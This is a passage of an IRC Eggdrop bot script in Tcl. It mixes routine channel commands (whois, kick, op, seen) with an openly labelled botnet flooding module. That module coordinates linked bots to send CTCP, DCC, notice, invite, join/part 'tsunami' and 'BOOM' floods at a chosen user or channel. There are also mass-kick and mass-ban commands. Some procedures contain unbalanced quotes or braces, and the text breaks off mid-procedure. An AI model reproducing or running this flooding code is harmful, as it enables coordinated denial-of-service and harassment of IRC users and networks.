        putserv "NOTICE $nick :$arg is another Bot.   "
        set da_chans ""
        for {set chanlinfo 0} {$chanlinfo < [llength [channels]]} {incr chanlinfo} {
        set channel3 [lindex [channels] $chanlinfo]
        if {[onchan $arg $channel3]} {
         append da_chans " " $channel3
        } 
        }
        if {$da_chans == { }} {
           putserv "NOTICE $nick :$arg isnt around.   "
           return 0
        } else {
           putserv "NOTICE $nick :$arg is On channel(s) $da_chans .   "
           return 0
        }
           return 0
       }
           return 0
      }
         if {[onchan $arg $channel2]} {
   if {[validuser [nick2hand $arg $channel2]]} {
         set whoi $arg
         set arg [nick2hand $arg $channel2]
         set lastime [getlaston $arg]
         set host [gethosts $arg]
         set info [getinfo $arg]
         set email [getemail $arg]
         set signoffmsg [getxtra $arg]
         putserv "NOTICE $nick :Whois  $whoi "
         putserv "NOTICE $nick :Handle:  $arg "
         putserv "NOTICE $nick :Flags:  [chattr $arg]"
         putserv "NOTICE $nick :Known Hosts:  $host "
         if {$info == ""} {
        } else {
          putserv "NOTICE $nick :Info:  $info "
        }
        if {$email == ""} {
        } else {      
        putserv "NOTICE $nick :E-mail Address:  $email "
        }
        if {[hand2nick $arg $channel] == ""} {
        } else {
          set hander [hand2nick $arg $channel]
          putserv "


 $channel :$arg is on as $hander. "
          putserv "NOTICE $nick :Last Time I saw $arg was was:  [ctime $lastime] "
          if {$signoffmsg == ""} {
          } else {
              putserv "NOTICE $nick :Sign Off Msg:  $signoffmsg "
          }
          if {[getchanidle $hander $channel2] == 0} {
          } else {
            putserv "NOTICE $nick :Idle Time:  [getchanidle $hander $channel] minutes  "
          }
        }
        if {[matchattr $arg m] == 1} {
           putserv "NOTICE $nick :$arg is My Master.   "
        }
        set da_chans ""
        set da_chans2 ""
        for {set chanlinfo 0} {$chanlinfo < [llength [channels]]} {incr chanlinfo} {
        set channel3 [lindex [channels] $chanlinfo]
        if {[onchan $whoi $channel3]} {
        append da_chans " "  $channel3
        } 
       }
        if {$da_chans == { }} {
           putserv "NOTICE $nick :$arg isnt here! Ive looked on $da_chans2 .   "      
           return 0
        } else {
           putserv "NOTICE $nick :$arg is On channel(s) $da_chans .   "
           return 0
       }
           return 0
      }
     } else {
     }
    }
        putserv "NOTICE $nick :I don't know $arg"
           return 0
   }

proc pub_ping {nick host handle channel arg} {
putserv "PRIVMSG $channel :~PiNG~ req by: $nick"
return 1
}

proc pub_kick {nick uhost hand channel arg} {
set who [lindex $arg 0]
set why [lrange $arg 1 end]
if {$who == [boat]} {
putserv "Notice $nick :Sorry, can't kick me out of my own channel!
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :[char]kick <nick> <why>" 
return 1
}
if {[matchattr $who m]} {
putserv "Notice $nick :Can't kick my masters!"
return 1
}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who isn't on $channel"
return 1
}
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm not opped."
return 1
}
putserv "KICK $channel $who :$nick $why"
putserv "NOTICE $nick :Booted $who"
putserv "NOTICE $nick :Reason: $why"
return 1
}

proc pub_notice {nick host handle channel arg} {
set who [lindex $arg 0]
set why [lrange $arg 1 end]
if {$who == ""} {
putserv "NOTICE $nick :USAGE: [char]Notice <nick> <message>"
return 1
}
putserv "NOTICE $who :$why"
putserv "NOTICE $nick :Noticed $who with text '$why'"
return 1
}

proc pub_op_kill {nick uhost hand channel arg} {
global botnick
set why "Mess with the best, die like the rest!"
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
if {$arg == "*"} {
set arg [chanlist $channel]
}
if {$arg == ""} {
putserv "NOTICE $nick :Usage: [char]kill <User to Kick/Ban>"
return 1
}
set nick [string tolower $nick]
set bot [string tolower $botnick]
foreach target $arg {
   set target [string tolower $target]
   if {($bot != $target && [onchan $target $channel] && $nick != $target)} {
   set target [getchanhost $target $channel] 
   set banmask [maskhost $target]
   scan $banmask "*!%s" thing
   set ban [concat *!*$thing]
   newban $ban $nick $why
   }
}
return 1
}

proc pub_addusr {nick uhost hand channel arg} {
set who [lindex $arg 0]
global botnick 
if {![onchan $arg $channel]} {
putserv "NOTICE $nick :$arg is not on the channel."
return 1
}
if {[validuser $arg]} {
putserv "NOTICE $nick :$arg already exists."
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]addusr <User to Add>"
return 1
}
set from [getchanhost $arg $channel]
set from [maskhost $from]
append $from "*"
append $arg "*!"
adduser $arg $from
putserv "NOTICE $who :You have been added to the userlist of $botnick"
putserv "NOTICE $who :You should /msg $botnick pass <your password>"
putserv "NOTICE $who :Where <your password> is a Password of your choice."
putserv "NOTICE $nick :Added $arg to the Userlist of $botnick "
putlog "$nick made me add $who to User-Database."
return 1
}

proc pub_remusr {nick host handle channel arg} {
set who [lindex $arg 0]
global botnick
set usho [maskhost [getchanhost $who $channel]]
if {![onchan $arg $channel]} {
putserv "NOTICE $nick :$arg is not on the channel."
return 1
}
if {[matchattr $who +n]} {
putserv "MODE $channel -o $nick"
putserv "KICK $channel $nick : Attempted to Delete Owner!  "
return 1
}
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]remusr <User to Delete>"
return 1
}
deluser  $who 
putserv "NOTICE $arg :You have been removed from the userlist of $botnick "
putserv "NOTICE $nick :Removed $arg from the Userlist of $botnick "
putlog "$nick made me Delete $who from User-Database."
return 1
}

proc pub_chattr {nick uhost hand channel arg} {
set who [lindex $arg 0]
set args [lindex $arg 1]
if {![validuser $who]} {
putserv "NOTICE $nick :No such user!"
return 1
}
if {$args == ""} {
putserv "NOTICE $nick :Usage: [char]chattr <nick> <+/- mofxpvt>"
return 1
}
set impho [chattr $who $args]
putserv "NOTICE $nick :New flags for $who: $impho"
return 1
}

proc pub_down {nick uhost hand channel arg} {
global botnick 
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
set olist ""
set targets ""
if {$arg == "*"} {
set arg [chanlist $channel]
}
if {$arg == ""} {
set arg $nick 
}
set bot [string toupper $botnick]
foreach target $arg {
set target [string toupper $target]
if {($target != $bot && [isop $target $channel])} {
append targets " " $target
append olist "o"
}
}
putserv "MODE $channel -$olist $targets"
return 1
}

proc pub_deop {nick uhost hand channel arg} {
global botnick 
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
set olist ""
set targets ""
if {$arg == "*"} {
set arg [chanlist $channel]
}
if {$arg == ""} {
set arg $nick 
}
set bot [string toupper $botnick]
foreach target $arg {
set target [string toupper $target]
if {($target != $bot && [isop $target $channel])} {
append targets " " $target
append olist "o"
}
}
putserv "MODE $channel -$olist $targets"
return 1
}

proc pub_up {nick uhost hand channel arg} {
global botnick
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
set dlist ""
set targets ""
if {$arg == "*"} {
set arg [chanlist $channel]
}
if {$arg == ""} {
set arg $nick
}
foreach target $arg {
if {(![isop $target $channel] && [onchan $target $channel])} {
append targets " " $target
append dlist "o"
}
}
putserv "MODE $channel +$dlist $targets"
return 1
}

proc pub_op {nick uhost hand channel arg} {
global botnick
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
set dlist ""
set targets ""
if {$arg == "*"} {
set arg [chanlist $channel]
}
if {$arg == ""} {
set arg $nick
}
foreach target $arg {
if {(![isop $target $channel] && [onchan $target $channel])} {
append targets " " $target
append dlist "o"
}
}
putserv "MODE $channel +$dlist $targets"
return 1
}

proc pub_voice {nick host handle channel vars} {
global botnick
set who [lindex $vars 0]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]voice <nick>" 
}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who isn't on $channel"
}
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm not opped."
}
putserv "MODE $channel +v $who"
}

proc pub_devoice {nick host handle channel vars} {
global botnick
set who [lindex $vars 0]
if {$who == ""} {
putserv "NOTICE $nick :Usage: [char]devoice <nick>" 
}
if {![onchan $who $channel]} {
putserv "NOTICE $nick :$who isn't on $channel"
}
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm not opped."
}
putserv "MODE $channel -v $who"
}

proc pub_idletime {nick uhost hand chan args} {
set idletime [getchanidle $args $chan]
if {![onchan $args $chan]} {
  putserv "PRIVMSG $chan :$args aint on the channel."
  return 0
  }
if {$args == $nick} {
  putserv "PRIVMSG $chan :I think you should already know that $nick"
  return 0
  }
if {[onchan $args $chan]} {
  if {$idletime == 1} {
    putserv "PRIVMSG $chan :$args has said something within the last minute."
    return 1
  }
  if {($idletime >= 2) && ($idletime < 30)} {
    putserv "PRIVMSG $chan :$args has been idle for $idletime minutes."
    return 1
  }
  if {$idletime >= 30} {
    putserv "PRIVMSG $chan :$args has been idle for $idletime minutes."
    return 1
  }
}
}

proc pub_fuck { nick uhost hand channel arg} {
global botnick
if {![botisop $channel]} {
putserv "NOTICE $nick :I'm Not opped"
return 1
}
set why "You've been fucked, now leave."
set targets ""
set bot [string tolower $botnick]
set nick [string tolower $nick]
foreach target $arg {
set target [string tolower $target]
if {($target != $bot && $target != $nick)} {
lappend targets $target
}
}
foreach target $targets {
putserv "KICK $channel $target :$why"
}
return 1
}

proc seen_seen {user nick} {
	global botnick
      if {[string compare [string tolower $botnick] [string tolower $nick]] == 0} {
	return "Yeah, whenever I look in a mirror..."
	}
	if {[string compare [string tolower $nick] [string tolower $user]] == 0} {
		return "Trying to find yourself, eh?"
	}
    foreach chan [channels] {
	if {[onchansplit $nick $chan]} {
		return "$nick was just on $chan, but got netsplit"
	}
	if {[onchan $nick $chan]} {
		return "$nick is on $chan right now!"
	}
	foreach i [chanlist $chan] {
		set hand [finduser $i![getchanhost $i $chan]]
		if {($hand != "*") && ([string compare [string tolower $hand] [string tolower $nick]] == 0)} {
        		if {[onchansplit $i $chan]} {
				return "$i is $nick, and $i was just on $chan but got net-split"
       		 	} {
	  			if {[onchan $i $chan]} {
            				return "$i is $nick, and $i is on $chan right now."
          			}
			}
		}
	}
    }
  	if {[validuser $nick]} {
    		set lasttime [getlaston $nick]
		if {$lasttime == 0} {
      			return "$nick has never been around."
		}
	} else {
		return "I don't know who $nick is."
	}
	set totalyear [expr [unixtime] - $lasttime]
	if {$totalyear < 60} {
        	return "$nick left $chan less then a minute ago."
	}
	if {$totalyear > 31536000} {
      		set yearsfull [expr $totalyear/31536000]
      		set years [expr int($yearsfull)]
      		set yearssub [expr 31536000*$years]
      		set totalday [expr $totalyear - $yearssub]
    	}
    	if {$totalyear < 31536000} {
    	 	set totalday $totalyear
     		set years 0
   	}
	if {$totalday > 86400} {
   		set daysfull [expr $totalday/86400]
      		set days [expr int($daysfull)]
      		set dayssub [expr 86400*$days]
      		set totalhour [expr $totalday - $dayssub]
        }
    	if {$totalday < 86400} {
      		set totalhour $totalday
      		set days 0
  	}
    	if {$totalhour > 3600} {
    		set hoursfull [expr $totalhour/3600]
		set hours [expr int($hoursfull)]
      		set hourssub [expr 3600*$hours]
      		set totalmin [expr $totalhour - $hourssub]
    	}
    	if {$totalhour < 3600} {
     		set totalmin $totalhour
      		set hours 0
    	}
    	if {$totalmin > 60} {
      		set minsfull [expr $totalmin/60]
      		set mins [expr int($minsfull)]
    	}
    	if {$totalmin < 60} {
	      	set mins 0
    	}
    if {$years < 1} then {set yearstext ""} else {set yearstext "$years years, "}
    if {$days < 1} then {set daystext ""} else {set daystext "$days days, "}
    if {$hours < 1} then {set hourstext ""} else {set hourstext "$hours hours, "}
    if {$mins < 1} then {set minstext ""} else {set minstext "$mins minutes"}
    return "$nick was last here $yearstext$daystext$hourstext$minstext ago"
}
  
proc pub_seen {nick uhost hand chan args} {
	puthelp "PRIVMSG $chan :$nick: [seen_seen $nick $args]"
}

proc msg_seen {nick uhost hand args} {
	puthelp "PRIVMSG $nick :[seen_seen $nick $args]"
      putlog "#$hand# seen $args"
}

proc cmd_seen {hand idx nick} {
	if {$nick == ""} {
		putdcc $idx "Usage: .seen <handle>"
		return 0
	}
	putdcc $idx "$hand: [seen_seen $hand $nick]"
      putlog "#$hand# seen $nick"
}

proc kickonchat {nick uhost hand channel rest} {
  putserv "KICK $channel $nick :SHUT UP! You talk too much"
  return 1
}

proc pub_shutup {nick uhost hand channel rest} {
  global shitflag
  if {$rest == ""} {
    putserv "NOTICE $nick :Usage: [char]shutup <nick>"
    return 0
  }

  set handle [lindex $rest 0]
  if {![onchan $handle $channel]} {
    putserv "NOTICE $nick :$handle is not on $channel"
    return 0
  }

  append userhost $handle "!" [getchanhost $handle $channel]
  set hostmask [maskhost $userhost]
  set target [finduser $hostmask]
  
  if {$target != "*"} {
    if {([matchattr $target m] || [matchattr $target n])} {
      putserv "NOTICE $nick :Can't Make my Master Shutup"
      return 0
    }
  } else {
    set valid [validuser $handle]
    if {![adduser $handle $hostmask]} {
      putserv "NOTICE $nick :Couldn't add \"$handle\" to my user list."
      if {$valid} {
        putserv "NOTICE $nick :Somebody with that handle already exists!"
      } else {
        putserv "NOTICE $nick :I don't know what the problem was :-("
      }
      return 0
    }
    putserv "NOTICE $nick :New user \"$handle\" created as \"$hostmask\"."
  }
  append wholeshitflag "+" $shitflag
  chattr $handle $wholeshitflag
  save
  putserv "PRIVMSG $channel :$handle is placed on ShutUp Kick."
  putserv "NOTICE $nick :Placed \"$handle\" on ShutUp Kick"
  return 1
}

proc pub_lettalk {nick uhost hand channel rest} {
  global shitflag
  if {$rest == ""} {
    putserv "NOTICE $nick :Usage: [char]talk <nick>"
    return 0
  }

  set handle [lindex $rest 0]
  if {![onchan $handle $channel]} {
    putserv "NOTICE $nick :$handle is not on $channel you"
    return 0
  }

  append userhost $handle "!" [getchanhost $handle $channel]
  set hostmask [maskhost $userhost]
  set target [finduser $hostmask]
  if {$target != "*"} {
    if {![matchattr $target $shitflag]} {
      putserv "NOTICE $nick :$handle is not ShitListed!"
      return 0
    }
  } else {
    putserv "NOTICE $nick :I can't find \"$handle\" with \"$hostmask\" in my user list!"
    putserv "NOTICE $nick :Perhaps $handle changed his hostmask..."
    return 0
  }
  append wholeshitflag "-" $shitflag
  chattr $handle $wholeshitflag
  deluser $handle
  save
  putserv "PRIVMSG $channel :$handle is removed from ShutUp Kick."
  putserv "NOTICE $nick :Removed \"$handle\" from ShutUp Kick"
  return 1
}

proc caps_pubm {nick uhost hand chan text} {
  if [matchattr $hand f] {return 0}
  set upper 0
  set space 0
  foreach i [split $text {}] {
    if [string match \[A-Z\] $i] {
      incr upper
    }
    if {$i == " "} {
      incr space
    }
  }
  if {$upper > 60} {
    putserv "KICK $chan $nick :Caps are for Wimps."
  }
  if {$space == 0 && [string length $text] > 75} {
    putserv "KICK $chan $nick :Don't flood, you ain't Moses."
  }
}

proc cmd_floodhlp {handle idx args} {
  putdcc $idx "                                                                    "
  putdcc $idx "     SYNTAX : .Floodtype <nick to flood> <NumberOfLines>           "
  putdcc $idx "                                                                    "
  putdcc $idx "     NumberOfLines is optional, without it the bots themselves      "
  putdcc $idx "     determine how many lines they are going to send.               "
  putdcc $idx "     So less bots more lines, more bots less lines.                 "
  putdcc $idx "                                                                   "
  putdcc $idx "                         FLOODTYPES :                             "
  putdcc $idx "                                                                   "
  putdcc $idx "      INVITEFLOOD      JOINPART     PINGFLOOD      USERFLOOD        "
  putdcc $idx "      CLIENTFLOOD      CJUNKFLOOD   FDCCFLOOD      JUNKFLOOD        "
  putdcc $idx "      NOTICEFLOOD      JOINTSU      CHATFLOOD      VERFLOOD         "
  putdcc $idx "      DCCFLOOD         JOINBOOM     ECHOFLOOD      BOOM             "
  putdcc $idx "     JOIPTSU          JOIPBOOM     TIMEFLOOD      TSUNAMI          "
  putdcc $idx "                                                                   "
  putdcc $idx "                                                                   "
  putlog "#$handle# floodhelp"
}

proc cmd_fversion {handle idx args} {
  putallbots "fversion {$handle}"
  done_fversion $handle
}

proc do_fversion {handle idx args} {
  set args [lindex $args 0]
  set rnick [lindex $args 0]
  done_fversion $rnick
}

proc done_fversion {rnick} {
  dccbroadcast "I Am Using FLOOD.TCL v0.34 (X-TreMe Version) request by $rnick "
}

proc cmd_eoflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "eoflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "eoflood" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_joipflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  if {([llength $floodnick] != 1) || ([string first # $floodnick] == -1)} {
  putcmdlog "Usage: .joinpart #channel"
  return 0
  }
  set verbose "a"
  putallbots "joipflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "joipflood" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_joiptsu {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  if {([llength $floodnick] != 1) || ([string first # $floodnick] == -1)} {
  putcmdlog "Usage: .joiptsu #channel"
  return 0
  }
  set verbose "a"
  if {$times >= 5} {
  putcmdlog "Error: $times Floods is over my flood limit. Setting Floods to 4 Times."
  set times 4
  }
  putallbots "joiptsu $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "joiptsu" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_jointsu {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  if {([llength $floodnick] != 1) || ([string first # $floodnick] == -1)} {
  putcmdlog "Usage: .joiptsu #channel"
  return 0
  }
  set verbose "a"
  if {$times >= 6} {
  putcmdlog "Error: $times Floods is over my flood limit. Setting Floods to 5 Times."
  set times 5
  }
  putallbots "jointsu $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "jointsu" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_joipboom {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  if {([llength $floodnick] != 1) || ([string first # $floodnick] == -1)} {
  putcmdlog "Usage: .joipboom #channel"
  return 0
  }
  set verbose "a"
  if {$times >= 5} {
  putcmdlog "Error: $times BOOMs is over my flood limit. Setting BOOM to 4 Times."
  set times 4
  }
  putallbots "joipboom $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "joipboom" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_joinboom {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  if {([llength $floodnick] != 1) || ([string first # $floodnick] == -1)} {
  putcmdlog "Usage: .joinboom #channel"
  return 0
  }
  set verbose "a"
  if {$times >= 6} {
  putcmdlog "Error: $times BOOMs is over my flood limit. Setting BOOM to 5 Times."
  set times 5
  }
  putallbots "joinboom $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "joinboom" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_boom {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  if {$times >= 6} {
  putcmdlog "Error: $times BOOMs is over my flood limit. Setting BOOM to 5 Times."
  set times 5
  }
  putallbots "boom $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "boom" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_tsu {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose [lindex $args 2]
  if {$verbose == "b"} {
    set verbose "a"
    }
  if {$times >= 6} {
  putcmdlog "Error: $times TSUNAMIs is over my flood limit. Setting TSUNAMI to 5 Times."
  set times 5
  }
  putallbots "tsunami $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "tsunami" "{$floodnick} {$handle} {$times} {$verbose}"
}
proc cmd_fcflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "fcflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fcflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_chflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "chflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "chflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_dflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "dflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "dflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_cjflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "cjflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "cjflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_iflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "iflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "iflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_nflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "nflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "nflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_vflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "vflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "vflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_fdflood {handle idx args} {
  global botnick 
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "fdflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fdflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_pflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "pflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "pflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_jflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "jflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "jflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_uflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "uflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "uflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_cflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "cflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "cflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_tflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "tflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "tflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_fflood {handle idx args} {
  global botnick
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set times [lindex $args 1]
  set verbose "a"
  putallbots "fflood $floodnick $handle $times $verbose"
  set verbose "b"
  do_flood $botnick "fflood" "{$floodnick} {$handle} {$times} {$verbose}"
}

proc cmd_ready {handle idx args} {
  putallbots "amiready"
  am_i_ready
}

proc do_am_i_ready {handle idx args} {
  am_i_ready
}

proc am_i_ready {} {
  global caniflood
  global who
  if {"$caniflood" == "0"} {
  putcmdlog "###  Please wait (Not Ready) -- I'm Still flooding $who. "
  } elseif {"$caniflood" == "1"} {
  putcmdlog "###  I am  done Flooding  $who "
  }
}

proc do_flood {from cmd args} {
  global caniflood
  global who
  global rnick
  set text ""
  set text2 ""
  set text3 ""
  set text4 ""
  set args [lindex $args 0]
  set floodnick [lindex $args 0]
  set fromnick [lindex $args 1]
  set times [lindex $args 2]
  set showflood [lindex $args 3]
if {$caniflood == "1"} {
  if {"$cmd"=="cjflood"} {
    set text "PRIVMSG $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "CTCP JUNK FLOOD"
    }
  if {"$cmd"=="eoflood"} {
    set text "PRIVMSG $floodnick :ECHO [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "CTCP ECHO FLOOD"
    }
  if {"$cmd"=="joipflood"} {
    set text "JOIN $floodnick"
    set text2 "PART $floodnick"
    set floodtype "JOIN PART FLOOD"
    }
  if {"$cmd"=="joiptsu"} {
    set text "JOIN $floodnick"
    set text3 "NOTICE $floodnick :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
    set text2 "PART $floodnick"
    set floodtype "JOIN PART TSUNAMI"
    }
  if {"$cmd"=="jointsu"} {
    set text4 "JOIN $floodnick"
    set text "NOTICE $floodnick :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
    set floodtype "JOIN TSUNAMI FLOOD"
    }
  if {"$cmd"=="joipboom"} {
    set text "JOIN $floodnick"
    set text3 "PRIVMSG $floodnick :ECHO     -- BOOM KneeGr0W BOOM --    "    
    set text2 "PART $floodnick"
    set floodtype "JOIN PART BOOM"
    }
  if {"$cmd"=="joinboom"} {
    set text4 "JOIN $floodnick"
    set text "PRIVMSG $floodnick :ECHO     -- BOOM KneeGr0W BOOM --    "    
    set floodtype "JOIN BOOM"
    }
  if {"$cmd"=="iflood"} {
    set text "INVITE $floodnick #[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "INVITE JUNK FLOOD"
    }
  if {"$cmd"=="tsunami"} {
    set text "NOTICE $floodnick :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^"
    set floodtype "TSUNAMI FLOOD"
    }
  if {"$cmd"=="nflood"} {
    set text "NOTICE $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "NOTICE JUNK FLOOD"
    }
  if {"$cmd"=="jflood"} {
    set text "PRIVMSG $floodnick :[rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]] [rs [expr [rand 49] + 1]]"
    set floodtype "MSG JUNK FLOOD"
    }
  if {"$cmd"=="dflood"} {
    set text "PRIVMSG $floodnick :DCC SEND [rs [expr [rand 20] + 3]] [myip] [expr [rand 5000] + 1024] [expr [rand 995000] + 5000]"
    set floodtype "DCC SEND FLOOD"
    }
if {"$cmd"=="boom"} {
    set text "PRIVMSG $floodnick :ECHO     -- BOOM KneeGr0W BOOM --    "
    set floodtype "CTCP BOOM FLOOD"
    }
if {"$cmd"=="chflood"} {
    set text "PRIVMSG $floodnick :DCC CHAT chat [myip] [expr [rand 5000] + 1024]"
    set floodtype "DCC CHAT FLOOD"
    }
  if {"$cmd"=="fdflood"} {
    set text "PRIVMSG $floodnick :DCC SEND -1 -1"
    set floodtype "FLUFFS END FLOOD"
    }
  if {"$cmd"=="fcflood"} {
    set text "PRIVMSG $floodnick :DCC CHAT -1 -1"
    set floodtype "FLUFFS CHAT FLOOD"
    }
  if {"$cmd"=="vflood"} {
    set text "PRIVMSG $floodnick :VERSION"
    set floodtype "VERSION FLOOD"
    }
  if {"$cmd"=="pflood"} {
    set text "PRIVMSG $floodnick :PING"
    set floodtype "PING FLOOD"
    }
  if {"$cmd"=="uflood"} {
    set text "PRIVMSG $floodnick :userinfo"
    set floodtype "USERINFO FLOOD"
    }
  if {"$cmd"=="cflood"} {
    set text "PRIVMSG $floodnick :clientinfo"
    set floodtype "CLIENTINFO FLOOD"
    }
  if {"$cmd"=="tflood"} {
    set text "PRIVMSG $floodnick :time"
    set floodtype "TIME FLOOD"
    }
  if {"$cmd"=="fflood"} {
    set text "PRIVMSG $floodnick :finger"
